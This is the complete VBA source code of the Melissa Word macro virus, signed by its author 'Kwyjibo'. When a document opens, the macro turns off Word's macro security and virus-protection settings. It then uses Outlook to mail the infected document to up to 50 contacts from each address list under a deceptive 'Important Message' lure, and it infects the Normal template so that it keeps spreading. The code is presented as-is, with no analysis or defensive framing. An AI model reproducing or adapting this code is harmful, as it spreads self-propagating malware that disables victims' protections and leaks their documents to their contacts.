Private Sub Document_Open[]
On Error Resume Next
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Security", "Level"] <> "" Then
  CommandBars["Macro"].Controls["Security..."].Enabled = False
  System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Security", "Level"] = 1&
Else
  CommandBars["Tools"].Controls["Macro"].Enabled = False
  Options.ConfirmConversions = [1 - 1]: Options.VirusProtection = [1 - 1]: Options.SaveNormalPrompt = [1 - 1]
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject["Outlook.Application"]
Set DasMapiName = UngaDasOutlook.GetNameSpace["MAPI"]
If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists[y]
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem[0]
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries[x]
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-]"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item[1]
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item[1]
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If
    
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines[1, 1] = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ["Private Sub Document_Close[]"]
  Do While ADI1.CodeModule.Lines[BGN, 1] <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines[BGN, 1]
    BGN = BGN + 1
  Loop
End If
  
If DoAD = True Then
  Do While NTI1.CodeModule.Lines[1, 1] = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ["Private Sub Document_Open[]"]
  Do While NTI1.CodeModule.Lines[BGN, 1] <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines[BGN, 1]
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And [InStr[1, ActiveDocument.Name, "Document"] = False] Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf [InStr[1, ActiveDocument.Name, "Document"] <> False] Then
  ActiveDocument.Saved = True 
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day[Now] = Minute[Now] Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub